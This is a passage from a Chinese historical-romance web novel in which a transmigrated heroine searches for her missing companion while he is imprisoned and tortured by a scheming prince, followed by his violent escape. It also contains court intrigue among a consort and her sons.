因为心急,她还开始咳嗽了起来。
“他……他……哎!”北辰殷耷拉着脑袋,“他没有跟来。”
“至少……是没有追上我的行程。就像是不见了。”
什么!
原来,那日谢景愿把人交给沈木兮离开后,就再也没出现过。
起初北辰殷以为他是出了什么事,还亲自带着人返程去那片山林找过,可是那里除了山涧下那一堆不成型的不明生物的碎肉……什么人都没有。
苦苦寻觅了两三日,还耽搁了回京进程,可还是没找到人。
“因为耽搁了行程,我被七哥狠狠训斥一通。他好像因此生了大气,丢下我就气呼呼先行回了京,以至于我和我的人今日才赶到……”他嘴一撇,还委屈上了。
“不见了?什么叫做不见了!”
那日发生的一幕幕再次在她脑海中闪过,沈木兮越发的胆战心惊。
会不会是李管事…
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…
虽然谢景愿在文中后期是无人所及,几乎已经是万人畏惧的可怕存在,可他还不是太子,就只有一个人去的啊,会不会出事?
沈木兮当即就要下马车往回程寻去。
北辰殷赶紧拦住她:“好歹救了你一条小命,你醒来后不给小爷道谢就算了!还要跑出去送死,真是个疯子。”
“大夫说了,你现在很衰弱,哪里也不能去。”
“别到时候你家景愿没找到,你自己还搭上去了,那本皇子不是白救你了?”
她不顾他的阻拦,硬是要下车。
可沈木兮太高估自己了,还没折腾出车帘,就又晕了过去。
这次北辰殷为了她别再发疯送命去。
赶紧把人带去了自己的府邸。
不过同时,他也没有放弃派人继续追寻谢景愿的踪迹。
皇子府中的管家见自家九皇子从外面带了个乡野女子回来,不禁问了句:“九皇子,这是哪里来的女子?”
“哦,本皇子新雇的厨娘。”
“厨……厨娘?”管家差点结巴,这又是请大夫,又是住院子,还拨了人亲自伺候,哪里像是个厨娘的待遇。
北辰殷高傲一哼。
“你懂个屁。”
把她治好了,他才能好好折腾她出了心里那口憋了半年的气。不然人直接**,他这么一路上不是白忙活了?
他才没那么傻!
“嘿,说你呢,这么烫的汤药,你要直接拿给她喝不成?”北辰殷眼睛一横那送药的婢女,直接接过那药,大手一挥,“还是我来喂吧!”
管家身子抖了几抖,挠着头越发看不懂了。
九皇子除了和盛家小姐关系好,一向不喜欢接近旁的女子。
这个乡野村姑是个什么情况?
难不成,这一年来,九皇子时不时跟着夜王殿下下江州,并不是为了猎得那金鹿,而是为了……
不行……
“来人啊。”管家悄悄唤来身边人,“赶紧去宫里,给柔妃娘娘传个信。”
第40章 失踪
柔妃得知此事后,反应倒是没有想象中的大。
不过是一个乡野女子,成不了气候。
“娘娘,夜王殿下到了。”
听着是北辰晔来了,柔妃满脸喜悦。
虽不是亲生骨肉,但柔妃对北辰晔和北辰殷都是一样的疼爱。
“快请殿下进来。”
北辰晔一来,便掀开袍子,对着柔妃跪下。
“这是怎了?”柔妃赶紧放下茶盏,“快起来。”
北辰晔双手抱拳,单膝跪着,一脸自责:“母妃,还请您别怪九弟。九弟年龄小,没有城府,心思一向单纯,但这都是他的优点,并非是他的过错。要怪就怪儿臣没有尽到兄长的本分,未曾极力阻止他。”
他眉心紧皱,满脸写着惭愧和内疚。
柔妃何等人,是陪在西越皇帝身边最久的妃子,在宫中什么没见过,当即听出北辰晔话中的深意。
她脸色微微沉了下来。
“难不成,是那个乡野女子勾引的我儿?”
北辰晔神色急切,赶紧解释:“母妃多虑了,这倒不是的,只是此女会做一些常人未见的膳食,九弟一向喜欢。这次便带着一起回来了。”
“母妃,此人虽然出身乡野,是个嫁过人的寡妇,但的确能让九弟欢喜。若是留在府中做个厨娘,也不是不可以。”
“儿臣就在这恳求母妃,不要怪责九弟,就容他把人留下吧,母妃当真生气,就生儿臣一人的气。”
柔妃脸色没有一点好转,反而更冷了几分,面容愈发的严肃。
她挥挥手:“怪不得你,我儿的脾气,我还不知吗?怕是你极力阻止,他也不听的,本宫也知道你一向惯着那小子。行了,你先下去吧,这件事,本宫自有计较。”
北辰晔抿紧双唇,恭顺地退了出去。
走出殿门时,墙上的琉璃灯盏,映亮他眼底闪过的幽深色泽,转瞬消失。
北辰晔刚走,柔妃气得一拍桌子。
“真是胡闹!”
方才皇子府管家传信来,她还觉得没什么,谁家皇子府中没几个通房妾室?可现在听夜王说起此人的出身,她才知道多么的离谱。
是个乡野女子就算了,还是个嫁过人的寡妇!
殷儿简直是越发没有体统了!
这个女人,绝对不能留。
皇子府。
天色早已暗下,北辰殷还守在沈木兮的床边。
刚被他喂下了安神汤,可沈木兮还是额头冷汗层层,抓着被褥,很是难受的样子。
即便在睡梦中,也在紧张地唤着谢景愿的名字。
“景愿……景愿……”
北辰殷双手撑着脸,坐在搬来的凳子上,暗自撇嘴,眼神幽怨。
“真是没良心,本皇子陪了你一路,还亲自守着给你喂药,也不知道唤唤本皇子的名字……”没心肝的女人,可恶极了。
外头有人跑来,凑到北辰殷耳边说了什么。
北辰殷脸色一变,咣当一声差点从凳子上栽下去!
“母妃知道了?”
哎呀,这可如何是好。
他开始在屋子里来回踱步。
跑来传信的小厮是北辰殷的心腹,先前看到方才有人从外回来了。去打听了一番才知道,是管家私下派去宫里的人。他才赶紧过来给皇子传信的。
北辰殷急得抓耳挠腮。
柔妃虽然性子和她的封号一样,柔情似水,温柔娴静。
往日也很由着他,宠着他。
但在管束他这些事情方面,母妃却一向严格。
北辰殷就是担心贸然带个女子回来,会让母妃不允,才偷偷的,本打算缓个几日再去禀报。
“不得了,我得马上赶去宫里。”
“也真是的,我不就是带个厨娘回来吗,母妃这也要管……”
走出屋门,他又顿住步子,回头看去床上昏迷不醒的女子,做出一副凶巴巴的样子,对着旁边的奴才们瞪眼道。
“本皇子不在,都好好照看她!她要出点事儿,本皇子定扒了你们的皮!”
奴才们垂下头,心说都到这地步了,柔妃娘娘能不管?分明是管少了,管晚了……
刚着急出门,撞上了刚出宫前来的北辰晔。
方才在准备出府的路上,北辰殷就已经大致知道了宫里发生的事,知道七哥先去帮自己给母妃求情了,现在看到他,是满脸的感动。
“七哥,你去宫里时,母妃看起来如何?有没有生大气?”
北辰晔无奈摇头:“你啊,到底什么时候才长大?母妃是不高兴,不过我已经劝过母妃,一个厨娘而已,你届时再去说点好话,应当是无事了。”
北辰殷闻言,这才松口气,很是感激道。
“还是七哥待我好,七哥如此爱戴臣弟,臣弟我没齿难忘!今后有用的到九弟的地方,千万不要客气!”
“说这些,咱们本就是兄弟。”
他着急去宫里安抚柔妃,和北辰晔拜别后就准备乘车去了。
想起什么,北辰殷顿住步子,转头问。
“对了七哥,那小厨娘的夫家弟弟,就是上次你在猎林木屋里见过的谢景愿,你可有他的什么消息吗?”
因为找到不到人,北辰殷还不得已找人传信,去求助了北辰晔。
北辰晔却是摇头叹息:“不曾。”
北辰殷哦了一声,显然有些失落。他也不敢再耽搁,赶紧上车进宫去了。
目送着他离去,北辰晔看了眼面前的皇子府,眼神落在沈木兮所在的院子,眼神幽深,笑得意味深长。
北辰殷走后没多久,沈木兮便醒了。<
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br>“景愿……景愿?”
苏醒时她的视线模模糊糊的,沈木兮只看到一个熟悉的身影朝着自己走来,还以为是谢景愿,直接就要过去。
忘了自己还在床上,差点摔了下来。
那人搀扶起她,温声说着:“小心点。”
一句不能再温和的话语了,却是惊得沈木兮浑身冷战,霎时清醒了过来。
抬头看清是谁,沈木兮脸色一变,警惕地往后退。
“夜王殿下。”
北辰晔看着她的面色从激动变得谨慎,不禁笑问:“好像从在猎林起,姑娘就未给过本王什么好脸色。旁人看本王都是笑,为何姑娘这么害怕?”
怕个锤子。
她是怕吗,她是嫌弃。
这样虚伪的人,多在她跟前待个一瞬,她就难受得不要不要。
“听说姑娘在寻自己的家人。”
沈木兮越发的谨慎严肃,面上却是扯出一抹笑:“夜王日理万机,还关心草民的这些自家小事吗,倒是比陛下还要心系天下人,陛下若知道了,也得给你点个赞。”她竖起大拇指。
北辰晔被噎了一下,明明是被夸赞,他倒像是被人指着鼻子骂了。
再看眼前女子,他的眼神更为幽深了。
顿了顿,他笑道:“姑娘别多想,我来这,只是想看看你,顺便问问有没有需要我帮忙的地方。”
这人有这么好?
沈木兮直接回绝。
“谢过王爷好意,不过不用了,我自己会找到他的。”
北辰晔笑了笑也不强求,站直身子:“方才给姑娘送了不少补品,不过看九弟这边的各种补药,当是不缺的。姑娘好好养身子吧。”
他人一走,沈木兮才大松口气。
本是想去找景愿的,可她身子的确经不住折腾,现在人清醒了,她也冷静下来。
她找是要找的,可光靠她一个人,是找不到的。
北辰晔肯定不能去沾惹,就只有先靠着北辰殷了。
看来她得在这呆个一段时日了。
至少在得到景愿的消息之前,还不能走。
沈木兮来到窗边,看着外面京城的白墙绿瓦,和枝头枯叶,眼圈微微泛起红光。
她昏迷这么久,因病没有去找他。他会不会生气,又以为她要丢下他了?
或许他是真生她的气了,才会这么久都不肯出现。
景愿,你到底在哪儿……
……
于此时,另一边,夜王府。
北辰晔刚从皇子府回来,下车进了府门,在去后院的路上,他挥退了身边人,独自进了屋中。
他回头,见外面的人都退得远了,嘴角轻轻勾起,端起旁边的灯烛,走到了里屋。
只听咔嚓一声。
一道隐藏的密室暗门,缓缓出现。
第41章 囚禁
入口通往的墙后的另一个房间,和外面的金玉满堂,奢华风雅相比,一墙之隔的密室中,却是完全的暗黑世界,阴气森森。
北辰晔端着烛台走来,里面传出铁链声响。
潮湿幽暗的密室牢房里,男子衣衫破碎,身上都是伤,四肢被北辰晔用铁链牢牢固定在木架上,整个人如一块破碎掉的玄玉,就这样镶嵌在那无尽的黑暗里。
只剩下头顶上方的一丝光亮,顺着他额前被鲜血浸透的碎发,一点点打在他垂落的睫羽上。
知道北辰晔来了,他没有动,只是歪垂着头,血迹早已干涸的嘴角一点点勾起,挑起细长眼尾看着面前尊贵的男人。
那眼神就好像在说,被关在这,他没有一点对北辰晔的畏惧之意。
还很自在。
北辰晔脸上的笑意顿时收了。
甚至是带着一丝薄怒,咬牙切齿地说。
“你真的以为,本王拿你没办法?”
都快半个月了!
他抓到他,已经快半个月!
可一点眉目也没有,关于他的一切什么都未查出。
别说是让他和盘托出自己的身份。
这么久下来,他愿意开口和北辰晔说话的次数,一只手都数得过来!
齐老先生,那是连父皇都要尊崇一二的大家人物。北辰晔不信,若没有什么缘由,他会平白收一个山野少年为学生?
想当初,他去三请老先生,都是不见人的。
这个谢景愿定不简单。
他都查不出来!
那原因只有一个,那就是此人的身份,比他想象中的还要……!
北辰晔最容不得的,就是身边有让自己无法控制的存在。
无论是谢景愿的拒不招贤,还是那回他从自己的人手里拼杀离去!都无一不挑衅到了他!
若他身份真的很……那北辰晔就更得要让他成为自己的人了。
也只能为他所用!
永远只对他俯首称臣!
不过说起来,这个谢景愿,倒是真能忍得。
被他折磨了这么久,在这个不见天日的阴湿牢房里,整日整夜的和老鼠为伴,受了各种刑法,可嘴巴依旧硬得很。
谢景愿平静看着他,白若**的脸没有一点表情,眼神无波。
“我早已说过,你不配的。”
北辰晔从鼻子里重重呼出一口浊气,怪笑一声:“那就看看吧!本王不信,你会没有弱点!”
只是他现在还没发现罢了!
……
同一时刻,皇子府这边刚得来消息。
说是北辰殷今日进宫后,一开始和柔妃还好好的说着话。
后来不知怎了,母子俩突然争执起来。
把柔妃的荣熙宫里的宫人们,都给吓到了。
这还是九皇子和柔妃娘娘第一次吵得这么厉害。
最后柔妃气得还摔碎了陛下赐的琉璃屏风,北辰殷也气得直接出宫了。
北辰殷回来时,就听府中人说起,夜王临走时给沈木兮留下的补品和上好药材。
他刚受了气,此刻闻言鼻子一算,眼圈都红了。
还是七哥好啊,在无人支持自己时,也只有七哥才会站在自己的身边。
母妃也真是的!不就是个厨娘吗?是他带回来的人,凭什么要让他把人送走?
他偏不!
北辰殷气呼呼来到了沈木兮的院子,看到已经苏醒,坐在床头正在安静喝药的沈木兮,眸子一亮,仿若方才在母妃那的那些火气,一瞬间就消了。
他却没进来,抱胸杵在门口,还是做出那副气呼呼的样子,重重一哼。
“好没良心,本皇子救了你,连一句谢谢也没有。”
沈木兮看到他回来了,起身要给他见礼。
拿人手短,**嘴软。
她还要靠北辰殷帮着自己寻人,可得把金主捧着。
她这一动作,可把北辰殷吓坏了,赶紧飞奔过来带起她,一脸震惊地打量着沈木兮,像是不认识她了。
“谁让你给我见礼了?”
往日不欺负他都是了,还给他行礼,见鬼了吧!
沈木兮皱眉:“你是皇子,草民给皇子见礼,是应该的。”
北辰殷看着她一本正经,不似说笑,狠狠跺了跺脚。
“不许见礼,不许跪!我把你带回来,就是让你来给我下跪的吗?”
沈木兮这下困惑了。
“我来当九皇子的厨子,也算是皇子府的奴才了,见到主子,那自是要下跪的。”
再说了,这小子不是做梦都想着从自己身上找回场子吗?见到她这般卑躬屈膝,他应该捧腹大笑,指着她各种调侃,怎还闹了起来?
沈木兮也是想让他高
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兴点,能多派些人帮忙找景愿,才如此规矩的。
她都不介意,他激动个啥?
北辰殷简直要被气**,在屋子里暴走!
“连你也要气我吗!”
“听着,天下人都跪我,就你不行!不行!”
沈木兮被吼得愣住,再盯着北辰殷的眼神愈发古怪起来。
北辰殷意识到自己说了什么,神色陡变,耳根子一红,转身蹭的一下跑了!
跑了一圈,他又折返回来,凶巴巴地威胁沈木兮说。
“方……方才我说的是梦话,你不许告诉别人!”
丢**了!
沈木兮还未应声,他又撒开脚丫子跑了个没影。
另一边的皇宫,柔妃也和北辰殷一样不痛快,方才同北辰殷不欢而散后,她便在荣熙宫里黯然神伤了许久。
这还是北辰殷长这么大,第一次忤逆自己。
脑海中全都是,当时北辰殷对着她大喊说的那句……‘我带回来的人,谁也不能逼走!’
“娘娘,别伤心了。九皇子心智单纯,被人蒙骗也是正常,他只是觉得乡野女子新鲜。”旁边的大宫女春岚说。
“娘娘与其就着一个小小女子,和九皇子生气。还不如先由着他,等新鲜劲儿过了,娘娘不赶那女子走,九皇子也见不得她。”
柔妃觉得没这么简单,自己儿子的性子她还是知道的,第一次见他这么想留下一个人。
若只是出身乡野就算了。可还嫁过人……
“还是晔儿无意间提醒了本宫,说起了那女人的出身,本宫差点就忘了去查这些,不然现在还被蒙在鼓里。”
说起北辰晔,旁边的大宫女春岚微微蹙眉,压低声音说:“娘娘,当真是夜王提醒的?”
柔妃颔首。
“是啊,也亏得这些年来晔儿在他身边盯着,不然还不知道这小子得闯多大的祸。”
春岚有句话不知道该讲不该讲,夜王殿下和柔妃这些年就像是亲生母子,和九皇子也如同至亲兄弟,可就是因为太亲了,这反而有些古怪。
寻常的皇家子弟,不说是争得血流成河,那也是互看不顺眼,万般猜忌。
可夜王却是不同。
永远都不会有一丝让人生出怀疑的破绽。
“娘娘,奴婢觉得……”
“夜王殿下到——”
第42章 被扫地出门
春岚脸色一变,登时闭嘴垂下了头。
北辰晔是听说柔妃和北辰殷争吵的事,前来安抚柔妃的,进来时和退下的春岚擦肩而过,他眼神有意无意往旁边瞥了眼,随后脸上再次堆满温和笑意,大步来到柔妃跟前。
他一来,柔妃就像是有了主心骨。
“晔儿,看你弟弟,一天到晚气本宫,他若有你的半点省心就好了。”
“母妃别急,您有心悸的毛病,可别伤了身子……”
今夜有了北辰晔的宽慰安抚,柔妃痛快多了。
她也想明白了一些事,好像瞬间就醍醐灌顶了。
一个小小的乡野女子,哪里有必要闹成这样?
都根本轮不到她出马。
不过是让那个女人走而已,不用大动干戈的法子,多的是!这还不容易吗?
刚从宫里打了一道回来,北辰晔就听心腹说起,地牢里的谢景愿又把吃的给吐了。
他讥讽冷笑:“随他。”
被关押后他便是如此,若非是快饿死,不然是一口都不会吃的。
旁边随行进宫的奴才把方才柔妃赏赐的东西拿了出来:“王爷,这些礼盒放在何处?”
北辰晔看一眼那些礼盒,月下幽暗的眼神里满是讽刺。
“母妃赏赐的,自是要珍藏,给我吧。”
等走到府院的无人池边,一个府中人上前,递来一个帖子。
“殿下,您回来了,盛小姐又送帖子来了。您看这……”
北辰晔眉心一皱,眼神里噙着一丝不耐。
盛苒喜欢他的事,他其实一直都知道,因为从幼时起,盛苒就一直追在他的身后,怎么都甩不掉。
盛苒的出身是很好,单论家世而言,的确可以帮衬到他。
只是北辰晔的心思不在这些儿女之事上。
“盛小姐说,今夜会在京城西楼等您。”
“告诉她,本王没空,也不会去的。”
他把柔妃送的礼盒随意的丢去池中,转身消失在了这个夜里。
……
有了北辰殷的照顾,沈木兮在皇子府休养的这两日,身子逐渐好转,也开始准备出去亲自寻找谢景愿的踪迹。
她觉得很奇怪。
自己找不到就算了,怎么连北辰殷也没线索。
听他说,他连派了很几拨的人,连原先他和谢景愿住的江州小村落都去查过了,可还是未有消息。
人是不可能突然失踪的。
除非!他是不能出现。
是因为被什么事,或许是被什么人给阻拦住了?
“夜王殿下真关心我们九皇子,晓得皇子这两日心情不好,日日送各种新鲜的玩耍之物来。”
屋外皇子府过路奴婢们的话语传来,让沈木兮心中一跳,暗暗念着“夜王”两个字,脑海中全部都是他那张威仪十足却又虚伪至极的脸。
夜王想招揽景愿,那日景愿直接回绝了他,以夜王的性子,他指不定会怀恨在心。
娘的,她怎么就忘了这个人!
果**一病倒脑子就绕不过弯。
沈木兮越想越坐不住。
趁着无人注意,从皇子府的后院偷偷溜了出去。
沈木兮刚来京城,对京城的路不熟悉,想去夜王府打探,还得先找路。
路还未找到,就听说了京里发生的一件事。
听说,昨日城中西楼边,一个官家小姐在那落水了。
只是消息被高门掩盖了去,并不知道是谁家小姐。
这倒是让沈木兮想起了一件事。
原作者写的是一本追妻文,说是女频书,却大篇幅写了男主的卧薪尝胆,男主的蛰伏隐忍。关于女主的剧情基本都是一笔带过,当时她看的时候便是一边骂骂咧咧,甚至怀疑原作者是那男主本人!
她也是憋着一口气,想看看这作者后面还能离谱到哪里去,带着猎奇心理才看了下去。
记忆里,女主也算是个可怜人,喜欢了夜王很久,却一直被夜王各种忽视。
直到女主落水失忆。
夜王逐渐悔悟,开始追妻。
当时看这本书时,这些没营养的烂剧情她是一点也没在意,大半本书看下来,唯一记忆深刻的就是作者小篇幅描写,对女主爱而不得的病娇疯批男二。
想到这,沈木兮又想到了自家景愿,紧抿双唇。
至于女主和夜王的各种无脑剧情,她已经忘了大半。
只记得,女主姓盛。
叫什么她还真给忘了。
不过这些和她今日出来要做的事无关
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。
经过了好一番的打探,沈木兮终于找到了夜王府。
只是夜王府没那么好进,她也知道这点,今日来一趟只是想打探一番。
刚坐在王府斜对面的茶铺里,正巧碰到夜王回府。
马车正驶向府门,碰巧遇到一个在夜王车前摔倒的小孩子,北辰晔挥停了马车,亲自出来牵起了他,还给了一锭银子。
惹得四周的京城百姓们齐齐叫好,大半街道的人都跟着跪伏相送夜王进府。
沈木兮看到这一幕,脚指头都要扣地了。
心说这人真会演。
那孩子八成也是那北辰晔自己掏银子雇的吧。
“姑娘,别看了,往日在这对面偷看夜王的女子不计其数,可夜王一心为民,无心儿女私情。”
茶铺老板掺茶的功夫凑来打趣。
沈木兮:“……”
“对了老板,夜王这几日时常出府吗?”
茶铺老板若有所思:“说起来,近日夜王似是比以前出去的少了,就算出去了,也很快回来。”
“不过你问了这些也没用,人家夜王连盛小姐都瞧不上,还能看得上你?”
“……”
沈木兮突然就对北辰晔有点肃然起敬了。
一个人,是有怎样的厚脸皮,才能装成这样?
也难怪北辰殷那么信任他,这京城里根本就没一个正常人。
她丢下银子,很快走了。
夜王府里定有问题,只是想混进去,还得另想法子才是。
从北辰殷入手倒是一条路,但北辰殷那么信任夜王,他能帮上自己什么?
况且,夜王那么聪明的人,若真是他抓走了景愿,那自己借北辰殷去夜王府,岂非太明显了。
估计还没找到人,他就把人转移或者是……
沈木兮已经不敢想!
一路上想着法子,没有注意时间,等她回到皇子府时,已经快黄昏了。
她出来太久,估计府中人已经知道了,她也便不打算走后门,直接从正门回去。
刚走到皇子府大门外,就见门口被人丢出来了一堆东西。
沈木兮定睛一看,那些分明都是自己的行囊。
这是怎么回事?
她眉心皱起,走了过去。
第43章 他好疯……
“敢问……”
还未进府,就见皇子府的管家从里面走了出来。
这个管家一向为人严肃,沈木兮从未见他笑过,此刻更是板着一张老脸。
“沈姑娘,你既是府中厨娘,伤好后就应该在守在后厨房,谨听主子差遣。未打招呼便擅自出府大半日,实在是没规矩。”
“姑娘还是走吧,我们皇子府庙小,容不下你这尊大佛,请姑娘另择他主。”
沈木兮一开始就没想过会在皇子府里长住,前几日也是因为下不了床。
况且,即便是北辰殷没说,她也从身边奴才那听来了北辰殷因为自己和他母妃起的争执。
加上她已经在想换个路子接近夜王府。
人家不赶她走,她也会另做打算的。
沈木兮看了眼府内方向:“九皇子呢,我想想见见他。”
到底是救了她,还帮了她这么多,告别前怎么都是要亲自说一声谢谢的。
这小子小气的很,脾气还大。若是不亲自请辞,他肯定会气得发狂。
管家本就是背着北辰殷赶人的,怎会带她去见人,他哼了一声:“九皇子不会见你的,便是他让你走的。”
沈木兮眉头微微皱了皱,没说话了。
管家说的话,她不信。
可既然不让她见,那也就罢了。继续在这争执不休,只会让北辰殷在他母妃跟前越发难做。
沈木兮拿起自己的包袱,再看一眼这住了几日的皇子府:“那就请管家替我给九皇子带一句感谢,谢他一路相助,还帮忙寻我的家人。他日若有机会,我定会还他的。”
想起什么,她拿出包袱里的什么物件,递给了管家。
“此物,就当是给九皇子的诀别礼了。”
言罢她爽快转身,看去那偌大繁华又陌生的京城。
景愿,我来了。
我一定会找到你的!
……
天色渐暗,另一边的夜王府密室里。
被铁链牢牢困在架子上的男子,微微抬起苍白瘦削的脸,望去唯一窗外逐渐生起的那轮弯月。
外面守着的夜王府手下,一边喝酒,一边瞅着牢房里的男子。
“瞧啊,他是不是关了这么久,被关傻了?怎么在盯着月亮发笑?”
旁边几人转头看去,纷纷被他那阴暗里的笑惊得打了个寒颤。
“他啊,是这样的,每到夜里,月儿升起时,便会这般望着月亮发笑。”
“不会真是个疯子吧!”
往日谢景愿就渗人的紧,被囚禁这么久,身形更为瘦削,半边脸都被乱发遮掩,愈显得阴邪得很。
唯独那露出来盯着外面月色的眼里,带着亮光。
仿佛那不仅仅是他此刻唯一的光,也是他此生唯一的光。
他苍白干涸的唇角弧度,也跟着月儿高升一点点扬起,追寻着弯月的方向。
空渗渗的,又带着一丝病态的娇感。
外面的人越看越觉得发怵,怕得要死,赶紧换了个离他更远的地方。
也不知夜王殿下去哪里抓来的人,太邪气了。
“王爷怎么还没出宫吗?”
“你就不知道了吧,九皇子因为府中新来的厨娘惹了柔妃娘娘生了大气,我们王爷不得去劝劝?”
“厨娘?什么厨娘,还能迷惑了九皇子去?”
几人说着话,没注意到身后地牢里一点点散发来的阴森气息。
“那谁知道?反正肯定不是什么好出身的女子就是了。不过也没事,听王爷的意思,柔妃娘娘肯定容不下她。这女人,都是个嫁过人的**,还妄想攀龙附凤,就等着被处置吧!”
……
北辰晔是到了这日半夜才从宫里回来的。
这两日北辰殷和柔妃闹得很僵,他白日不得空,便时常夜里抽空去陪同柔妃。
连近日出宫的时候,宫门前的人都还说:“九皇子整天气柔妃娘娘,还是夜王殿下时常陪伴,心系着娘娘。”
回来后,北辰晔就挥退众人,去了主院的密室牢房。
一日没查清谢景愿的底细,他便一日不安!即便是半夜回府,他也要来看看。
可今夜,密室牢房里的氛围,却十分古怪。
刚进去便闻到了一股强烈的血腥味。
北辰晔心觉不对劲,赶紧冲了去。
潮湿幽暗的密室里倒了一堆他的人,这些都是他留在这看守的手下,那牢房中,还倒挂着一个。
饶是北辰晔见惯各种场面,都被眼前之景给惊骇到了!
那人是被人用弯钩,勾住肚腔,被当
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成一头死猪,活活倒挂死的!
更可怕的,是他的嘴,血糊糊一片,竟被人生生剜了下来。
而本该在地牢里的谢景愿,却是不见了!
只留在那把割下人嘴的利器,淌在满地鲜红里!
北辰晔瞳孔骤缩。
这是怎样的一个疯子!
他一眼看出,这把‘小刀’,本是铁链上的一个暗扣!竟是被他一点点在那墙上给磨成刀片的!
原来,他一直在等待时机逃走!
“来人来人!”
北辰晔双目发红,显然是被气到发疯了!
一直以来,他都以为,自己才是那个最会懂得蛰伏和隐忍的。
今夜却惊觉,有人比他还懂得茹毛饮血,卧薪尝胆!因为即便是他,被人关在这样不见天日的牢房如此折磨,他也不确定自己能否坚持到今日。
一想到这,北辰晔的面色逐渐变得狰狞。
此人的存在,俨然是触碰到了他的逆鳞。
很快,他的心腹暗卫冷刃,带着人来了。
“王爷!”
看到密室里的一切,众人也是满脸惊骇。
“这!王爷,人居然跑了吗!?”
北辰晔脸色暗沉沉的,看着那铁链上的血迹,眼神里尽是暴戾和狠厉!
这铁链他是故意收缩过的,之前见他在江州回程路上拼杀的身手,就知道这人有两下子。为了防止谢景愿逃走,他还将两端铁链穿过了他的血肉,把他牢牢固定在了柱子上!
可没想到,他为了逃,不惜忍下了那血肉剥离之痛!
不过!
带着浑身的伤,他注定是逃不远的。
“追!给本王追!”
“王爷,说来也是古怪,这人被咱们关在这许久,看那铁链磨损的程度,他要逃走也就是这几日的事了。可他半个月都忍了,怎么偏偏今夜逃了?”
这话也是说到了北辰晔的心里去。
他突然冷笑起来。
之前怎么都找不到这个人的弱点,他当真还以为,这个人不会有软肋。
现在看来嘛,终于是藏不住了是吗……
“那就更得追上他了!”
杀一个人多痛快,一刀子的事。可要把这个人收服,才能让北辰晔最大的满足!
“是!”
第44章 我终于找到你了!
今夜的皇子府,也和夜王府一样,灯火不熄。
“走了?什么叫她走了!!”
北辰殷是刚刚才回来的。
今日被北辰晔拉着去给母妃赔罪,七哥劝他在母妃跟前好好说话,母妃一定会听。
一去太久,等回来已经是半夜了。
刚回来,就从管家口中听说了沈木兮离开的消息。
北辰殷气得狂跺脚,大声吼道!
“不可能,她不会自己走的!”
没有找到谢景愿,她怎会突然离开?
北辰殷一眼看去旁边心虚的管家,眼神里带着少见的厉色:“快说,到底是怎么回事!我不信她会离开!”
“不说实话,本皇子把你拖去午门斩了!”
管家擦着额前的冷汗,拱手恭敬地说。
“是真的皇子,那女子今日出去半日,回来后就收拾东西离开了。”
北辰殷不信,跑去了沈木兮住的院子。
屋中场景还是昨日模样,可里面却早已人去楼空。
这个院子是皇子府里,除了他的主院外最好的住所。里面的摆设,也是他精挑细选,知道她还不习惯京里的生活,他还命人搬来了不少江州的东西,连伺候的奴婢都是江州人。
而现在……
管家这时又说了句:“她临走时,还说,自己是去找什么家人了。”
北辰殷听完,脸色发青,一把挥掉了桌上那一堆他精心让人准备的药膳补汤!
“家人?”
她的心里,就只有那个谢景愿!
天天都是谢景愿长,谢景愿短。做梦都叫着他的名字!
而他救了她,还把她带回来,她怎么不关心自己?
还说把他当朋友?不辞而别,算什么朋友!
“走得好!走她的!没了她沈木兮,本皇子又不是会饿死!!”
北辰殷长这么大,好像第一次被气成了这样,几乎是把这院子里的东西都摔了个粉碎。
把管家都给惊住了。
临走前,北辰殷还命人锁了这个院子,声音是从未有过的冷:“今后,谁也不许再来这!”
管家看着九皇子那看似带着愠怒离去,实则却是步伐沉重,浑身浸满无尽落寞和萧索的背影,眉心紧皱。
他在心里低声道。
这一次,是不是他和娘娘做错了?
……
阿秋!
沈木兮连打了十来个喷嚏。
心说是不是有人把她祖宗十八代都给问候了,骂得还挺脏。
看去客栈外的夜色,沈木兮心中隐隐不安,眼神再落去离客栈外约莫有半条街的夜王府方向。
住在这,能时刻关注北辰晔的动向。
只是现在天色已晚,怕是不会有什么情况了。
沈木兮关上窗户,准备先睡会儿。
突然听到外面传来一阵阵的兵械声。
她赶紧吹灭蜡烛,然后悄然来到窗边,小心翼翼看去外头。
只见深夜的街道上,突然出现了一行腰挎大刀的官兵。
她抬头,看去夜王府。
那边依旧安静得很,可就是**静了,才有端倪。
这好歹是夜王府的附近街道,街上出现这么多官兵,夜王却一点反应也没有,怎能可能。
且这些官兵,一看就是在搜查着什么。
搜寻的地方,也几乎全是离夜王府附近的巷子。
一定和北辰晔脱不了干系。
沈木兮心中的那种不好的预感,愈发强烈。带上一些随身的防身利器,冒着夜色溜出了客栈。
月夜下,一处幽深巷口。
“王爷,您看,是血!”
冷刃蹲在地上,用手指捻着那巷子地面上的鲜红,嗅着那浓重的血腥味,证明人刚走没多远!
北辰晔冷笑。
他就知道。
“继续追!”
可是继续往那血迹的方向追寻去,地上的血迹却是越来越少,直到到了一处死角,那鲜红居然没了!
北辰晔看着眼前的高墙,和消失的鲜血,胸腔仿佛被灌入了一团火,几乎要炸了!
他中计了!
“王爷,那边有动静!”
北辰晔眸光一冷,当即带着人换了个方向。
就在他们一群人去往另一个巷子时,方才巷口死角里,一堆满杂物木板的木棚下,传出细微动静。
月夜里,他的脸和身上肌肤几乎是和那月色一样的苍白无力。
正艰难地倚在斑驳破烂的墙角,身上被铁链贯穿的位置,已经成了深褐色,不停流着恶臭的东西。
可他的眼神,却明亮无比。
像是月儿旁边的星星。
他低下头,看了眼手心里的一个玉坠。
若是北辰殷在这,肯定很惊讶,因为这个玉坠,和他随身带着的那个竟有八成像。
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细看,那玉上好似隐隐有一道龙纹!
不过谢景愿的这个玉坠,是一个玉哨子。
他看了眼,眼神阴冷漠然,直接把东西收了回去。
谢景愿随意将身上的伤用布巾一捆,撑着墙壁站了起来。
周身的伤没有让他难受,甚至都没有闷哼过一句,可是等起身后看着自己这身破烂得不成样子的衣服,他却是苦恼地皱紧眉头。
他把她做的衣服给弄坏了,她会不会生气?
他最不喜欢她生气了。
要怎么解释才好。
他真的不是故意的。
都是夜王的过。
若她真生气了,那他便把北辰晔的皮剥下来,这样她的气,会不会就消了?
他湿红眼神里委屈和阴鸷交汇,脚步踉跄,继续朝着另一个方向行去。
好像在他的世界里,就只有那一个目标。
而那个方向,正是北辰殷的皇子府!
可是他已经撑了半个月,身上还流着血,又能走多远?
还没走出巷子,谢景愿就狠狠摔去了地上。
“什么声音?”街道外面,正跟踪着那些官兵的沈木兮低呼,猛地顿住脚步。
她看去传来声音的方向,眼神微变。
不知为什么,那动静明明是在另一边,而且声音不大的。她的心却像是被什么猛地撞了撞,生疼的紧。
沈木兮想也没想,赶紧冲去了巷子。
